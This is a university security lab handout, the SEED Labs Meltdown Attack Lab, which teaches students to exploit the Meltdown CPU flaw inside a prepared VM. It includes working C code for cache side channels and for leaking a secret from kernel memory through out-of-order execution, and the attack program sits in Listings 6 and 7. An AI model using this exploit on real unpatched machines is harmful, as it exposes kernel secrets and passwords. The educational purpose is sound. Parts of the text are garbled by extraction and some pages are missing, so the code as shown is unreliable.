Meltdown Attack Lab Solution

Description

Copyright © 2018 Wenliang Du, Syracuse University.

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.

• Introduction

Discovered in 2017 and publicly disclosed in January 2018, the Meltdown exploits critical vulnerabilities existing in many modern processors, including those from Intel and ARM [6]. The vulnerabilities allow a user-level program to read data stored inside the kernel memory. Such an access is not allowed by the hardware protection mechanism implemented in most CPUs, but a vulnerability exists in the design of these CPUs that makes it possible to defeat the hardware protection. Because the flaw exists in the hardware, it is very difficult to fundamentally fix the problem, unless we change the CPUs in our computers. The Meltdown vulnerability represents a special genre of vulnerabilities in the design of CPUs. Along with the Spectre vulnerability, they provide an invaluable lesson for security education.

The learning objective of this lab is for students to gain first-hand experiences on the Meltdown attack. The attack itself is quite sophisticated, so we break it down into several small steps, each of which is easy to understand and perform. Once students understand each step, it should not be difficult for them to put everything together to perform the actual attack. Students will use the Meltdown attack to print out a secret data stored inside the kernel. This lab covers a number of topics described in the following:

• Meltdown attack

• Side channel attack

• CPU Caching

• Out-of-order execution inside CPU microarchitecture

• Kernel memory protection in operating system

• Kernel module

Lab Environment. This lab has been tested on our pre-built Ubuntu 12.04 VM and Ubuntu 16.04 VM, both of which can be downloaded from the SEED website. The Ubuntu 16.04 VM is still in the beta testing stage, so frequent changes are expected. It will be officially released in Summer 2018 for the Fall semester. When using this lab, instructors should keep the followings in mind: First, the Meltdown vulnerability is a flaw inside Intel CPUs, so if a student’s machine is an AMD machine, the attack will not work. Second, Intel is working on fixing this problem in its CPUs, so if a student’s computer uses new Intel CPUs, the attack may not work. It is not a problem for now (February 2018), but six months from now, situations like this may arise. Third, although most students’ computers have already been patched, the attack is conducted inside our pre-built VM, which is not patched, so the attack will still be effective. Therefore, students should not update the VM’s operating system, or the attack may be fixed.

Acknowledgment This lab was developed with the help of Hao Zhang and Kuber Kohli, graduate students in the Department of Electrical Engineering and Computer Science at Syracuse University.

SEED Labs – Meltdown Attack Lab

2

• Code Compilation

For most of our tasks, you need to add -march=native flag when compiling the code with gcc. The march flag tells the compiler to enable all instruction subsets supported by the local machine. For example, we compile myprog.c using the following command:

$ gcc -march=native -o myprog myprog.c

• Tasks 1 and 2: Side Channel Attacks via CPU Caches

Both the Meltdown and Spectre attacks use CPU cache as a side channel to steal a protected secret. The technique used in this side-channel attack is called FLUSH+RELOAD [7]. We will study this technique first. The code developed in these two tasks will be used as a building block in later tasks.

A CPU cache is a hardware cache used by the CPU of a computer to reduce the average cost (time or energy) to access data from the main memory. Accessing data from CPU cache is much faster than accessing from the main memory. When data are fetched from the main memory, they are usually cached by the CPU, so if the same data are used again, the access time will be much faster. Therefore, when a CPU needs to access some data, it first looks at its caches. If the data is there (this is called cache hit), it will be fetched directly from there. If the data is not there (this is called miss), the CPU will go to the main memory to get the data. The time spent in the latter case is significant longer. Most modern CPUs have CPU caches.

CPU Cache Main Memory (RAM)

		array[7*4096]	array[9*4096]
	Faster Read		.
			.
CPU	(cache hit)	array[3*4096]
			.
			array[1*4096]
	Slower Read (cache miss)		array[0*4096]
		Figure 1: Cache hit and miss

3.1 Task 1: Reading from Cache versus from Memory

The cache memory is used to provide data to the high speed processors at a faster speed. The cache memories are very fast compared to the main memory. Let us see the time difference. In the follow-ing code (CacheTime.c), we have an array of size 10_*4096. We first access two of its elements, array[3_*4096] and array[7_*4096]. Therefore, the pages containing these two elements will be cached. We then read the elements from array[0_*4096] to array[9_*4096] and measure the time spent in the memory reading. Figure 1 illustrates the difference. In the code, Line À reads the CPU’s times-tamp (TSC) counter before the memory read, while Line ` reads the counter after the memory read. Their difference is the time (in terms of number of CPU cycles) spent in the memory read. It should be noted that caching is done at the cache block level, not at the byte level. A typical cache block size is 64 bytes. We use array[k_*4096], so no two elements used in the program fall into the same cache block.

SEED Labs – Meltdown Attack Lab

3

Listing 1: CacheTime.c

#include <emmintrin.h>

#include <x86intrin.h>

uint8_t array[10_*4096];

int main(int argc, const char _**argv) {

int junk=0;

register uint64_t time1, time2;

volatile uint8_t _*addr;

int i;

// Initialize the array

for(i=0; i<10; i++) array[i_*4096]=1;

// FLUSH the array from the CPU cache

for(i=0; i<10; i++) _mm_clflush(&array[i_*4096]);

• Access some of the array items array[3_*4096] = 100; array[7_*4096] = 200;

for(i=0;		i<10; i++) {
addr	=	&array[i*4096];	À
time1 = __rdtscp(&junk);
junk	= *addr;		`
time2 = __rdtscp(&junk) – time1;

printf(“Access time for array[%d_*4096]: %d CPU cycles\n”,i, (int)time2);

}

return 0;

}

Please compile the following code using gcc -march=native CacheTime.c, and run it. Is the access of array[3_*4096] and array[7_*4096] faster than that of the other elements? You should run the program at least 10 times and describe your observations. From the experiment, you need to find a threshold that can be used to distinguish these two types of memory access: accessing data from the cache versus accessing data from the main memory. This threshold is important for the rest of the tasks in this lab.

3.2 Task 2: Using Cache as a Side Channel

The objective of this task is to use the side channel to extract a secret value used by the victim function. Assume there is a victim function that uses a secret value as index to load some values from an array. Also assume that the secret value cannot be accessed from the outside. Our goal is to use side channels to get this secret value. The technique that we will be using is called FLUSH+RELOAD [7]. Figure 2 illustrates the technique, which consists of three steps:

1. FLUSH the entire array from the cache memory to make sure the array is not cached.

2. Invoke the victim function, which accesses one of the array elements based on the value of the secret. This action causes the corresponding array element to be cached.

3. RELOAD the entire array, and measure the time it takes to reload each element. If one specific element’s loading time is fast, it is very likely that element is already in the cache. This element must be the one accessed by the victim function. Therefore, we can figure out what the secret value is.

SEED Labs – Meltdown Attack Lab

4

SEED Labs – Meltdown Attack Lab

6

4.1 Task 3: Place Secret Data in Kernel Space

To simplify our attack, we store a secret data in the kernel space, and we show how a user-level program can find out what the secret data is. We use a kernel module to store the secret data. The implementation of the kernel module is provided in MeltdownKernel.c. Students’ task is to compile and install the kernel module. The code is shown below.

Listing 3: MeltdownKernel.c

static char secret[8] = {’S’, ’E’, ’E’, ’D’, ’L’, ’a’, ’b’, ’s’}; static struct proc_dir_entry _*secret_entry;

static char_* secret_buffer;

static int test_proc_open(struct inode _*inode, struct file _*file) {

#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0) return single_open(file, NULL, PDE(inode)->data);

#else

return single_open(file, NULL, PDE_DATA(inode));

#endif

}

static ssize_t read_proc(struct file _*filp, char _*buffer, size_t length, loff_t _*offset)

{
memcpy(secret_buffer, &secret, 8);	À
return 8;
}
static const struct file_operations test_proc_fops =
{
.owner = THIS_MODULE,
.open = test_proc_open,
.read = read_proc,
.llseek = seq_lseek,
.release = single_release,
};
static __init int test_proc_init(void)
{
// write message in kernel message buffer
printk(“secret data address:%p\n”, &secret);	`
secret_buffer = (char*)vmalloc(8);
// create data entry in /proc
secret_entry = proc_create_data(“secret_data”,
0444, NULL, &test_proc_fops, NULL);	´
if (secret_entry) return 0;
return -ENOMEM;
}

SEED Labs – Meltdown Attack Lab

7

static __exit void test_proc_cleanup(void)

{

remove_proc_entry(“secret_data”, NULL);

}

module_init(test_proc_init);

module_exit(test_proc_cleanup);

Two important conditions need to be held, or Meltdown attacks will be quite difficult to succeed. In our kernel module, we ensure that the conditions are met:

• We need to know the address of the target secret data. The kernel module saves the address of the secret data into the kernel message buffer (Line `), which is public accessible; we will get the address from there. In real Meltdown attacks, attackers have to figure out a way to get the address, or they have to guess.

• The secret data need to be cached, or the attack’s success rate will be low. The reason for this condition will be explained later. To achieve this, we just need to use the secret once. We create a data entry /proc/secret data (Line ´), which provides a window for user-level programs to interact with the kernel module. When a user-level program reads from this entry, the read proc() function in the kernel module will be invoked, inside which, the secret variable will be loaded (Line À) and thus be cached by the CPU. It should be noted that read proc() does not return the secret data to the user space, so it does not leak the secret data. We still need to use the Meltdown attack to get the secret.

Compilation and execution. Download the code from the lab website, and go to the directory that con-tains Makefile and MeltdownKernel.c. Type the make command to compile the kernel module. To install this kernel module, use the insmod command. Once we have successfully installed the kernel module, we can use the dmesg command to find the secret data’s address from the kernel message buffer. Take a note of this address, as we need it later.

$ make

$ sudo insmod MeltdownKernel.ko

• dmesg | grep ’secret data address’ secret data address: 0xfb61b000

4.2 Task 4: Access Kernel Memory from User Space

Now we know the address of the secret data, let us do an experiment to see whether we can directly get the secret from this address or not. You can write your own code for this experiment. We provide a code sample in the following. For the address in Line À, you should replace it with the address obtained from the previous task. Compile and run this program (or your own code) and describe your observation. Will the program succeed in Line `? Can the program execute Line `?

int main()
{
char *kernel_data_addr = (char*)0xfb61b000;	À
char kernel_data = *kernel_data_addr;	`
printf(“I have reached here.\n”);	´
return 0;
}

SEED Labs – Meltdown Attack Lab

8

4.3 Task 5: Handle Error/Exceptions in C

From Task 4, you have probably learned that accessing a kernel memory from the user space will cause the program to crash. In the Meltdown attack, we need to do something after accessing the kernel memory, so we cannot let the program crash. Accessing prohibited memory location will raise a SIGSEGV signal; if a program does not handle this exception by itself, the operating system will handle it and terminate the program. That is why the program crashes. There are several ways to prevent programs from crashing by a catastrophic event. One way is to define our own signal handler in the program to capture the exceptions raised by catastrophic events.

Unlike C++ or other high-level languages, C does not provide direct support for error handling (also known as exception handling), such as the try/catch clause. However, we can emulate the try/catch clause using sigsetjmp() and siglongjmp(). We provide a C program called ExceptionHandling.c in the following to demonstrate how a program can continue to execute even if there is a critical exception, such as memory access violation. Please run this code, and describe your observations.

Listing 4: ExceptionHandling.c

static sigjmp_buf jbuf;

static void catch_segv()

{

// Roll back to the checkpoint set by sigsetjmp().

siglongjmp(jbuf, 1);	À
}
int main()
{
// The address of our secret data
unsigned long kernel_data_addr = 0xfb61b000;
// Register a signal handler
signal(SIGSEGV, catch_segv);	`
if (sigsetjmp(jbuf, 1) == 0) {	´
// A SIGSEGV signal will be raised.
char kernel_data = *(char*)kernel_data_addr;	ˆ

• The following statement will not be executed. printf(“Kernel data at address %lu is: %c\n”,

kernel_data_addr, kernel_data);

}

else {

printf(“Memory access violation!\n”);

}

printf(“Program continues to execute.\n”); return 0;

}

The exception handling mechanism in the above code is quite complicated, so we provide further expla-nation in the following:

• Set up a signal handler: we register a SIGSEGV signal handler in Line `, so when a SIGSEGV signal

SEED Labs – Meltdown Attack Lab

9

is raised, the handler function catch segv() will be invoked.

• Set up a checkpoint: after the signal handler has finished processing the exception, it needs to let the program continue its execution from particular checkpoint. Therefore, we need to define a checkpoint first. This is achieved via sigsetjmp() in Line ´: sigsetjmp(jbuf, 1) saves the stack context/environment in jbuf for later use by siglongjmp(); it returns 0 when the checkpoint is set up [4].

• Roll back to a checkpoint: When siglongjmp(jbuf, 1) is called, the state saved in the jbuf variable is copied back in the processor and computation starts over from the return point of the sigsetjmp() function, but the returned value of the sigsetjmp() function is the second ar-gument of the siglongjmp() function, which is 1 in our case. Therefore, after the exception handling, the program continues its execution from the else branch.

• Triggering the exception: The code at Line ˆ will trigger a SIGSEGV signal due to the memory access violation (user-level programs cannot access kernel memory).

• Task 6: Out-of-Order Execution by CPU

From the previous tasks, we know that if a program tries to read kernel memory, the access will fail and an exception will be raised. Using the following code as an example, we know that Line 3 will raise an exception because the memory at address 0xfb61b000 belongs to the kernel. Therefore, the execution will be interrupted at Line 3, and Line 4 will never be executed, so the value of the number variable will still be 0.

• number = 0;

• _*kernel_address = (char_*)0xfb61b000;

3 kernel_data = _*kernel_address;

4 number = number + kernel_data;

The above statement about the code example is true when looking from outside of the CPU. However, it is not completely true if we get into the CPU, and look at the execution sequence at the microarchitectural level. If we do that, we will find out that Line 3 will successfully get the kernel data, and Line 4 and subsequent instructions will be executed. This is due to an important optimization technique adopted by modern CPUs. It is called out-of-order execution.

Instead of executing the instructions strictly in their original order, modern high performance CPUs allow out-of-order execution to exhaust all of the execution units. Executing instructions one after another may lead to poor performance and inefficient resources usage, i.e., current instruction is waiting for previous instruction to complete even though some execution units are idle [2]. With the out-of-order execution feature, CPU can run ahead once the required resources are available.

In the code example above, at the microarchitectural level, Line 3 involves two operations: load the data (usually into a register), and check whether the data access is allowed or not. If the data is already in the CPU cache, the first operation will be quite fast, while the second operation may take a while. To avoid waiting, the CPU will continue executing Line 4 and subsequent instructions, while conducting the access check in parallel. This is out-of-order execution. The results of the execution will not be committed before the access check finishes. In our case, the check fails, so all the results caused by the out-of-order execution will be discarded like it has never happened. That is why from outside we do not see that Line 4 was executed. Figure 3 illustrates the out-of-order execution caused by Line 3 of the sample code.

SEED Labs – Meltdown Attack Lab

10

Access Kernel Memory

kernel_data = *kernel_addr

Out‐of‐order execution		Access permission check

SEED Labs – Meltdown Attack Lab

11

int main()

{

• Register a signal handler signal(SIGSEGV, catch_segv);

• FLUSH the probing array flushSideChannel();

if (sigsetjmp(jbuf, 1) == 0) {

meltdown(0xfb61b000); ´

}

else {

printf(“Memory access violation!\n”);

}

• RELOAD the probing array reloadSideChannel(); return 0;

}

It should be noted that the address in Line ´ should be replaced by the actual address that you found from the kernel module. Compile and run the code (see Section 2 for the instructions on the compilation). Document and explain your observations.

• Task 7: The Basic Meltdown Attack

The out-of-order execution creates an opportunity for us to read data from the kernel memory, and then use the data to conduct operations that can cause observable effects on the CPU cache. How far a CPU can go in the out-of-order execution depends on how slow the access check, which is done in parallel, is performed. This is a typical race condition situation. In this task, we will exploit this race condition to steal a secret from the kernel.

6.1 Task 7.1: A Naive Approach

In the previous task, we can get array[7 _* 4096 + DELTA] into the CPU cache. Although we can observe that effect, we do not get any useful information about the secret. If instead of using array[7

• 4096 + DELTA], we access array[kernel data _* 4096 + DELTA], which brings it into the CPU cache. Using the FLUSH+RELOAD technique, we check the access time of array[i_*4096 + DELTA] for i = 0, : : :, 255. If we find out that only array[k_*4096 + DELTA] is in the cache, we can infer that the value of the kernel data is k. Please try this approach by modifying MeltdownExperiment.c shown in Listing 5. Please describe your observations. Even if your attack is not successful, you should note down your observation, and continue on to Task 7.2, which is intended to improve the attack.

6.2 Task 7.2: Improve the Attack by Getting the Secret Data Cached

Meltdown is a race condition vulnerability, which involves the racing between the out-of-order execution and the access check. The faster the out-of-order execution is, the more instructions we can execute, and the more likely we can create an observable effect that can help us get the secret. Let us look see how we can make the out-of-order execution faster.

SEED Labs – Meltdown Attack Lab

12

The first step of the out-of-order execution in our code involves loading the kernel data into a register. At the same time, the security check on such an access is performed. If the data loading is slower than security check, i.e., when the security check is done, the kernel data is still on its way from the memory to the register, the out-of-order execution will be immediately interrupted and discarded, because the access check fails. Our attack will fail as well.

If the kernel data is already in the CPU cache, loading the kernel data into a register will be much faster, and we may be able to get to our critical instruction, the one that loads the array, before the failed check aborts our out-of-order execution. In practice, if a kernel data item is not cached, using Meltdown to steal the data will be difficult. However, as it has been demonstrated, Meltdown attacks can still be successful, but they require high-performance CPU and DRAM [5].

In this lab, we will get the kernel secret data cached before launching the attack. In the kernel module shown in Listing 3, we let user-level program to invoke a function inside the kernel module. This function will access the secret data without leaking it to the user-level program. The side effect of this access is that the secret data is now in the CPU cache. We can add the code to our attack program used in Task 7.1, before triggering the out-of-order execution. Please run your modified attack program and see whether your success rate is improved or not.

• Open the /proc/secret_data virtual file. int fd = open(“/proc/secret_data”, O_RDONLY); if (fd < 0) {

perror(“open”); return -1;

}

int ret = pread(fd, NULL, 0, 0); // Cause the secret data to be cached.

6.3 Task 7.3: Using Assembly Code to Trigger Meltdown

You probably still cannot succeed in the previous task, even with secret data being cached by CPU. Let us do one more improvement by adding a few lines of assembly instructions before the kernel memory access. See the code in meltdown asm() below. The code basically do a loop for 400 times (see Line À); inside the loop, it simply add a number 0x141 to the eax register. This code basically does useless computations, but according to a post discussion, these extra lines of code “give the algorithmic units something to chew while memory access is being speculated” [1]. This is an important trick to increase the possibility of success.

Listing 6: meltdown asm()

void meltdown_asm(unsigned long kernel_data_addr)

{

char kernel_data = 0;

• Give eax register something to do asm volatile(

“.rept 400;” À

“add $0x141, %%eax;”

“.endr;” `

:

:

: “eax”

);

SEED Labs – Meltdown Attack Lab

13

• The following statement will cause an exception kernel_data = _*(char_*)kernel_data_addr; array[kernel_data _* 4096 + DELTA] += 1;

}

Please call the meltdown asm() function, instead of the original meltdown() function. Describe your observations. Increase and decrease the number of loops, and report your results.

• Task 8: Make the Attack More Practical

Even with the optimization in the previous task, we may still not be able get the secret data every time: sometimes, our attack produces the correct secret value, but sometimes, our attack fails to identify any value or identifies a wrong value. To improve the accuracy, we can use a statistical technique. The idea is create a score array of size 256, one element for each possible secret value. We then run our attack for multiple times. Each time, if our attack program says that k is the secret (this result may be false), we add 1 to scores[k]. After running the attack for many times, we use the value k with the highest score as our final estimation of the secret. This will produce a much reliable estimation than the one based on a single run. The revised code is shown in the following.

Listing 7: MeltdownAttack.c

static int scores[256];

void reloadSideChannelImproved()

{

int i;

volatile uint8_t _*addr;

register uint64_t time1, time2;

int junk = 0;

for (i = 0; i < 256; i++) {

addr = &array[i _* 4096 + DELTA];

time1 = __rdtscp(&junk);

junk = _*addr;

time2 = __rdtscp(&junk) – time1;

if (time2 <= CACHE_HIT_THRESHOLD)

scores[i]++; /_* if cache hit, add 1 for this value _*/

}

}

• Signal handler static sigjmp_buf jbuf;

static void catch_segv() { siglongjmp(jbuf, 1); }

int main()

{

int i, j, ret = 0;

• Register signal handler signal(SIGSEGV, catch_segv);

SEED Labs – Meltdown Attack Lab

14

if (fd < 0) {

perror(“open”);

return -1;

}

memset(scores, 0, sizeof(scores));

flushSideChannel();

• Retry 1000 times on the same address. for (i = 0; i < 1000; i++) {

ret = pread(fd, NULL, 0, 0); if (ret < 0) {

perror(“pread”);

break;

}

• Flush the probing array for (j = 0; j < 256; j++)

_mm_clflush(&array[j _* 4096 + DELTA]);

if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xfb61b000); }

reloadSideChannelImproved();

}

• Find the index with the highest score. int max = 0;

for (i = 0; i < 256; i++) {

if (scores[max] < scores[i]) max = i;

}

printf(“The secret value is %d %c\n”, max, max); printf(“The number of hits is %d\n”, scores[max]);

return 0;

}

Please compile and run the code, and explain your observations. The code above only steals a one-byte secret from the kernel. The actual secret placed in the kernel module has 8 bytes. You need to modify the above code to get all the 8 bytes of the secret.

• Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.

SEED Labs – Meltdown Attack Lab

15

References

1. Pavel Boldin. Explains about little assembly code #33. https://github.com/paboldin/ meltdown-exploit/issues/33, 2018.

2. Wikipedia contributors. Out-of-order execution — wikipedia, the free encyclopedia. https://en.wikipedia.org/w/index.php?title=Out-of-order_execution& oldid=826217063, 2018. [Online; accessed 21-February-2018].

3. Wikipedia contributors. Protection ring — wikipedia, the free encyclopedia. https://en. wikipedia.org/w/index.php?title=Protection_ring&oldid=819149884, 2018. [Online; accessed 21-February-2018].

4. The Open Group. sigsetjmp – set jump point for a non-local goto. http://pubs.opengroup. org/onlinepubs/7908799/xsh/sigsetjmp.html, 1997.

5. IAIK. Github repository for meltdown demonstration. https://github.com/IAIK/ meltdown/issues/9, 2018.

6. Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, and Mike Hamburg. Meltdown. ArXiv e-prints, January 2018.

7. Yuval Yarom and Katrina Falkner. Flush+reload: A high resolution, low noise, l3 cache side-channel attack. In Proceedings of the 23rd USENIX Conference on Security Symposium, SEC’14, pages 719– 732, Berkeley, CA, USA, 2014. USENIX Association.